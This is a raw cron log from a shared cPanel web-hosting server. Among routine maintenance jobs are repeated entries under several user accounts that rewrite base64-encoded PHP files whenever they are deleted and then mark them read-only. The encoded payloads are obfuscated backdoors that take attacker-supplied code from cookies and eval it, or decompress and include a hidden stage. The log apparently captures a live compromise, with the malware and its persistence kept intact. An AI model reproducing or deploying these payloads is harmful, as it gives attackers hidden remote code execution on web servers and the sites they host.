Mar  2 00:46:02 medusa CROND[3730]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:46:02 medusa CROND[3727]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 00:46:02 medusa CROND[3733]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:46:02 medusa CROND[3734]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 00:46:02 medusa CROND[3735]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 00:47:01 medusa CROND[8899]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 00:47:01 medusa CROND[9037]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:47:01 medusa CROND[9038]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 00:47:01 medusa CROND[9039]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 00:47:01 medusa CROND[9040]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 00:47:01 medusa CROND[9043]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:47:01 medusa CROND[9045]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 00:47:01 medusa CROND[9046]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 00:47:01 medusa CROND[9047]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:47:01 medusa CROND[9055]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:47:01 medusa CROND[9057]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 00:47:01 medusa CROND[9060]: (mauro2) CMD (/opt/cpanel/ea-php74/root/usr/bin/php -q "/home6/mauro2/public_html/wp-cron.php")
Mar  2 00:47:01 medusa CROND[9067]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 00:48:01 medusa CROND[16222]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 00:48:01 medusa CROND[16224]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 00:48:01 medusa CROND[16225]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:48:01 medusa CROND[16226]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:48:01 medusa CROND[16227]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 00:48:01 medusa CROND[16228]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:48:01 medusa CROND[16234]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 00:48:01 medusa CROND[16237]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 00:48:01 medusa CROND[16238]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
